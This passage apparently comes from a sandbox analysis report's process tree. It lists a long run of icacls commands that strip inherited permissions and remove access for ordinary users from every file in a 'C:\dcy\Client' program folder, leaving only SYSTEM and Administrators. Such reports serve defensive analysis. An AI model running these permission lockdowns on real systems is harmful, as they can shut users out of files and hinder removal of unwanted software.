      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Aero2.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.AeroLite.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3520
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Classic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:748
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2188
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Luna.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4556
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Royale.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3020
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationNative_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5724
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationUI.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1216
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ReachFramework.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3396
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\safety-ui.deps.json" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3708
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\safety-ui.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2392
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\safety-ui.exe" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4436
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\safety-ui.runtimeconfig.json" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5172
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\safety.deps.json" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6040
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\safety.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3872
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\safety.exe" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5064
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\safety.runtimeconfig.json" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5516
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\SharpGen.Runtime.COM.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1816
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\SharpGen.Runtime.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1708
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\SimpleBase.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2916
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\SIPSorcery.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4612
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\SIPSorceryMedia.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:804
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\SQLitePCLRaw.batteries_v2.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6032
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\SQLitePCLRaw.core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\SQLitePCLRaw.provider.e_sqlite3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5300
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.AppContext.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3732
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Buffers.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1088
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.CodeDom.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4176
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.Concurrent.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2068
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3404
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.Immutable.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4756
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.NonGeneric.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.Specialized.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4528
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.Annotations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1512
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.DataAnnotations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5012
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5844
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.EventBasedAsync.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4524
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1124
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.TypeConverter.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4860
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Configuration.ConfigurationManager.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4588
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Configuration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1464
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Console.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4728
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4324
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Data.Common.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5932
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Data.DataSetExtensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5396
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Data.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3096
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Design.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:952
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Contracts.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1068
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Debug.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4820
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.DiagnosticSource.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3916
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.EventLog.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2436
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.EventLog.Messages.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:624
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.FileVersionInfo.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1184
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.PerformanceCounter.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Process.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2316
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.StackTrace.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1804
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.TextWriterTraceListener.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3104
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Tools.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5800
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.TraceSource.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:52
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Tracing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5392
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.DirectoryServices.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1932
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Drawing.Common.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Drawing.Design.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5864
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Drawing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Drawing.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Dynamic.Runtime.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Formats.Asn1.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1280
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Formats.Tar.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3664
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Globalization.Calendars.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2860
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Globalization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Globalization.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5824
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.Brotli.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4940
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2516
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.FileSystem.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3356
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.Native.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1432
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.ZipFile.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4200
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5016
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3796
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.DriveInfo.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1484
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:460
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.Watcher.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4568
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.IsolatedStorage.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2100
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.MemoryMappedFiles.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4744
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Packaging.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1520
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Pipelines.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2540
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Pipes.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6000
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Pipes.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2176
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.UnmanagedMemoryStream.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5628
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Linq.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4640
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Linq.Expressions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4260
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Linq.Parallel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4108
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Linq.Queryable.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Management.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:804
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Memory.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2068
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1656
      - C:\Windows\System32\icacls.exe
        
